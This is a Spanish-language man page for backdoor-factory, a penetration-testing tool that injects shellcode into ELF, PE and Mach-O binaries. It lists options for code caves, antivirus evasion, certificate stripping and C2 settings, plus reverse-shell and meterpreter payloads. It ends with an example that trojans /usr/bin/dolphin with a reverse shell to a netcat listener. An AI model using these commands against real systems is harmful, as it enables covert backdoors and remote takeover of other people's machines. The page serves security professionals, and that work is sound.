backdoor-factory - manual de referencia, opciones, ejemplos de comandos


NOMBRE

backdoor-factory - inyectar shellcode predefinido o definido por el usuario en binarios

SINOPSIS

backdoor-factory [options]

DESCRIPCIÓN

backdoor-factory parchea los binarios ejecutables con el shellcode deseado por el usuario y continúa con la ejecución normal del estado preparcheado.

Esta herramienta es solo para profesionales e investigadores de seguridad.

Esta herramienta no es compatible con el ejecutable ELF reubicable (es decir, compilado con la opción -fPIE, sugerida por los requisitos de refuerzo de Debian, consulte https://wiki.debian.org/Hardening)

Es posible que los archivos binarios como ssh no se identifiquen correctamente, como lo están los archivos binarios como dolphin (en el momento en que se escribió esta página del manual).

OPCIONES:

-h, --help

mostrar este mensaje de ayuda y salir

-f FILE, --file=FILE

Archivo a la puerta trasera

-s SHELL, --shell=SHELL

Cargas útiles que están disponibles para su uso. Use 'mostrar' para ver las cargas útiles.

-H HOST, --hostip=HOST

IP del C2 para conexiones inversas.

-P PORT, --port=PORT

El puerto para volver a conectarse para shells inversos o para escuchar shells de enlace

-J, --cave_jumping

Seleccione esta opción si desea usar el código de salto de cueva para ocultar aún más su código de shell en el binario.

-a, --add_new_section

Exigir que se agregue una nueva sección al exe (mejor éxito) pero menos evitación de av

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Shellcode proporcionado por el usuario, asegúrese de que coincida con la arquitectura a la que se dirige.

-c, --cave

La bandera de cueva encontrará cuevas de código que se pueden usar para esconder shellcode. Esto imprimirá en todas las cuevas de código de un tamaño específico. El indicador -l se puede usar con esta configuración.

-l SHELL_LEN, --shell_length=SHELL_LEN

Para usar con -c para ayudar a encontrar cuevas de código de diferentes tamaños

-o OUTPUT, --output-file=OUTPUT

La ruta del archivo de salida de puerta trasera. Los directorios principales deben existir

-n NSECTION, --section=NSECTION

El nombre de la nueva sección debe tener menos de siete caracteres

-d DIR, --directory=DIR

Esta es la ubicación de los archivos que desea respaldar. Puede hacer que un directorio de archivos sea más rápido forzando la conexión de un codecave al exe usando la configuración -a.

-w, --change_access

Esta bandera cambia la sección que alberga la cueva de códigos a RWE. A veces esto es necesario. Habilitado por defecto. Si está desactivada, la puerta trasera puede fallar.

-i, --injector

Este comando convierte la fábrica de puertas traseras en un tipo de mecanismo de búsqueda e inyección de shellcode. Edite la configuración de destino en el módulo del inyector.

-u SUFFIX, --suffix=SUFFIX

Para uso con inyector, coloca un sufijo en el archivo original para una fácil recuperación

-D, --delete_original

Para uso con módulo inyector. Este comando elimina el archivo original. No apto para uso en sistemas de producción. (El autor no es responsable de usos estúpidos).

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Punto de inicio en el desplazamiento del disco, en bytes. Algunos autores quieren ofuscar su desplazamiento en disco para evitar la ingeniería inversa, si encuentra uno de esos archivos, use este indicador, después de encontrar el desplazamiento.

-S, --support_check

Para determinar si el archivo es compatible con BDF antes de realizar la puerta trasera del archivo. Para usar solo o con detallado. Esta verificación ocurre automáticamente si se intenta la puerta trasera.

-M, --cave-miner

Uso futuro, para ayudar a determinar el shellcode más pequeño posible en un archivo PE

-q, --no_banner

Mata la pancarta.

-v, --verbose

Para salida de información de depuración.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Solo binarios de tipo ALL, x86 o x64. Predeterminado=TODOS

-Z, --zero_cert

Permite sobrescribir el puntero a la tabla de certificados PE eliminando efectivamente el certificado del binario para todos los efectos.

-R, --runas_admin

EXPERIMENTAL Comprueba los archivos binarios de PE para 'requestedExecutionLevel level="highestAvailable"'. Si esta cadena se incluye en el binario, debe ejecutarse como system/admin. Si no está en el modo de verificación de soporte, intentará parchear el valor más alto disponible en el manifiesto si existe la entrada RequestExecutionLevel.

-L, --patch_dll

Utilice esta configuración si NO desea parchear las DLL. Parches por defecto.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Para formato MACH-O. Si es una lima gruesa, concéntrese en qué arcada parchear. El valor predeterminado es x64. Para forzar x86 use -F x86, para forzar ambos arcos use -FALL.

-B BEACON, --beacon=BEACON

Para las cargas útiles que tienen la capacidad de balizar, configure el tiempo en segundos

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Métodos de aplicación de parches para archivos PE, 'manual', 'automático', de reemplazo y de cebolla

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Para cebolla duque. Proporcione su binario deseado.

-X, --xp_mode

Predeterminado: NO es compatible con máquinas heredadas con XP, use -X para admitir XP. De forma predeterminada, el binario se bloqueará en máquinas XP (por ejemplo, cajas de arena)

-A, --idt_in_cave

EXPERIMENTAL De forma predeterminada, se crea una nueva tabla de directorio de importación en una nueva sección, al llamar a esta bandera se colocará en una cueva de código. Esto puede causar fallas binarias en algunos casos. Pruebe primero en los binarios de destino.

-C, --code_sign

Para aquellos con certificados de codiseño que deseen firmar binarios de PE únicamente. Asigne un nombre a su clave de firma y clave privada firmingcert.cer y signaturePrivateKey.pem respectivamente en el directorio de certificados. Depende de usted obtener los certificados de firma.

-p, --preprocess

Para ejecutar scripts de preprocesamiento en el directorio de preprocesamiento

SOBRE LOS CÓDIGOS DE SHELL

Hay varios shellcode predefinidos en backdoor-factory. Su disponibilidad depende del tipo de destino (ELF32, ELF64, PE32...). La lista de shellcodes se define a continuación.

para todas las arquitecturas basadas en Intel (x86 y x86_64)

reverse_shell_tcp

necesita: un host remoto y un puerto para establecer permisos: acceso de shell remoto

delay_reverse_shell_tcp

necesita: un host remoto y un puerto para establecer permisos: acceso de shell remoto

beaconing_reverse_shell_tcp

necesita: una baliza, un host remoto y un puerto para establecer permisos: acceso de shell remoto

user_supplied_shellcode

necesita: un shellcode definido por el usuario listo para inyectar permisos: depende del shellcode

Shellcodes específicos de Linux

reverse_tcp_stager

necesidad: permisos:

Códigos de shell de Windows PE32 exe

reverse_shell_tcp_inline

necesidades: un host remoto y un puerto para establecer permisos: acceso de shell remoto

reverse_shell_tcp_stager_threaded

necesidades: un host remoto y un puerto para establecer permisos: Inyectar la DLL del servidor meterpreter a través de la carga útil de Inyección Dll Reflectiva

meterpreter_reverse_https_threaded

necesidades: un host remoto y un puerto para establecer permisos: meterpreter sobre transporte https

user_applied_shellcode_threaded

necesidades: un código de shell definido por el usuario listo para inyectar permisos: depende del código de shell

iat_reverse_tcp_inline

necesidades: un host remoto y un puerto que se configurarán permite:

iat_reverse_tcp_inline_threaded

necesidades: un host remoto y un puerto que se configurarán permite:

iat_reverse_tcp_stager_threaded

necesidades: un host remoto y un puerto para establecer permisos: Inyectar la DLL del servidor meterpreter a través de la carga útil de Inyección Dll Reflectiva

iat_user_applied_shellcode_threaded

necesidades: un código de shell definido por el usuario listo para inyectar permisos: depende del código de shell

Códigos de shell de Windows PE64 exe

delay_reverse_shell_tcp

necesidades: un host remoto y un puerto para establecer permisos: acceso de shell remoto

reverse_shell_tcp

necesidades: un host remoto y un puerto para establecer permisos: acceso de shell remoto

beaconing_reverse_shell_tcp

necesita: una baliza, un host remoto y un puerto para establecer permisos: acceso de shell remoto

user_supplied_shellcode

necesidades: un código de shell definido por el usuario listo para inyectar permisos: depende del código de shell

EJEMPLOS

Ejemplo de codificación en cueva de un binario ELF, mediante la integración de un acceso de shell remoto a través de un oyente TCP remoto (por ejemplo, netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

En el host detrás de la IP 172.16.0.15, inicie netcat en modo de escucha:

netcat -l 172.16.0.15 8080

En el objetivo, inicie el binario de puerta trasera:

./backdoored/dolphin

Ahora, en el host 172.16.0.15, solo use su shell.

HISTORIA

Mayo de 2017, compilado originalmente por Philippe Thierry (phil at reseau-libre punto com)